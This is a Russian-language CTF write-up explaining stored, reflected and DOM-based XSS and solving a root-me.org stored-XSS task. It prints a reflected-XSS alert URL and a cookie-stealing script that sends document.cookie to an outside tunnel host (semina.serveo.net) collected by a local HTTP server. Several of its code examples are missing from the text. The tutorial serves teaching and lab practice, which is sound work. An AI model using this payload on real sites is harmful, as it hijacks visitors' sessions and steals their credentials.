Решаем CTF #2 - XSS part 0
By PyProHACK - tg: @pyprohack_projectПривет! Сегодня поговорим про XSS, узнаём что это такое, какие виды такой уязвимости существуют и порешаем CTF задачи на эту тему. Начнём с теории, а затем решим несколько задач с root-me.org

XSS - (Cross Site Scripting) атаки на веб сайты с целью внедрить вредоносный код в код ресурса. Очень часто нацелен на воровство чувствительной информации посетителей сайта (куки, токены и т.д.). Существует три основных вида XSS атак:
* Stored XSS (Хранимая XSS)
* Reflected XSS (Отраженная XSS)
* DOM-Based XSS (XSS на основе DOM)
Stored XSS
Такой вид уязвимости происходит, когда вредоносный код сохраняется в базу данных сайта (или какое - то другое хранилище) и затем отображается на страницах у пользователей
Пример: На сайте есть форма комментариев. Отправляется комментарий, содержимое которого следующее:
Данный комментарий сохранится в базе данных и будет отображаться на странице со всеми комментариями. Если защита не настроена, то код из комментария выполнится и в данном случае каждый зашедший на заражённую страницу будет видеть безобидный алерт с текстом: "HACKED". Но вместо alert можно отправить по-настоящему вредоносный код.
Reflected XSS
При такой атаке в хранилище веб - сайта не попадает вредоносный код, при такой атаке эксплойт встраивается в URL. Жертва открывает сайт, но в ссылке содержатся аргументы, приводящие к выполнению вредоноса.
Пример: https://my.site/page?counter=<script>alert("HACKED")</script>
В случае, если бэкенд некорректно обрабатывает значения аргументов в запросе, JS код из поля counter выполнится на стороне клиента.
DOM-Based XSS
В отличии от предыдущих двух уязвимостей в DOM-Based XSS вредоносный код приходит клиенту во время взаимодействия со страницей, например при динамическом поиске по странице. Такую атаку сложнее отследить в логах сервера, так как контент страницы меняется в браузере клиента, но никак не проходит через бэкенд.
Переходим от теории к практике!
XSS Stored - 1

Вводим какой - то текст в форму, отправляем и видим, что наш текст добавляется.

Попробуем ввести в форму следующий текст

Это простейший JS код, который показывает уведомление на странице с текстом "1". При отправке формы видим уведомление. При каждом обновлении страницы уведомление будет показываться, а значит наш скрипт успешно сохранился в базе данных. Но судя по описанию задания, нам нужно украсть куки админа.
Нам нужно как - то получить эти куки, самый простой вариант следующий:
* Запустить у себя http сервер, который будет принимать get запросы
* Пробросить его
* Отправить в форму сайта скрипт, который будет отсылать запрос нам с нужными данными
В качестве http сервера будем использовать модуль http.server для python. В терминале вводим следующую команду:
Теперь нам нужно, чтобы к нему могли подключаться из другой сети (интернета). Если у вас есть белый IP адрес, то вам достаточно просто пробросить во внешку порт, но такая опция есть не у всех, поэтому предлагаю общий способ (во втором терминале выполните команду):

Так мы запустили тунелирование трафика через serveo.net. И по выданному нам адресу мы можем отсылать запросы на наш локальных сервер


Теперь в форму на сайте вставим следующий код:
<script>document.write("<img src='https://semina.serveo.net?data='"+document.cookie + "''");</script>123
Что он делает? Он создаёт картинку адрес который наш веб сервер + аргумент data со значением кукисов сайта. Наш сервер не отдаст валидную картинку, но браузер клиента отправит запрос с нужными нам данными.
Пробуем!

Сайт пытается отобразить картинку, а через некоторое время нам приходит запрос следующего вида:
/?data=ADMIN_COOKIE=ТУТ ФЛАГ
Задача успешно решена! В следущей части рассмотрим остальные виды XSS атак.
На этом всё!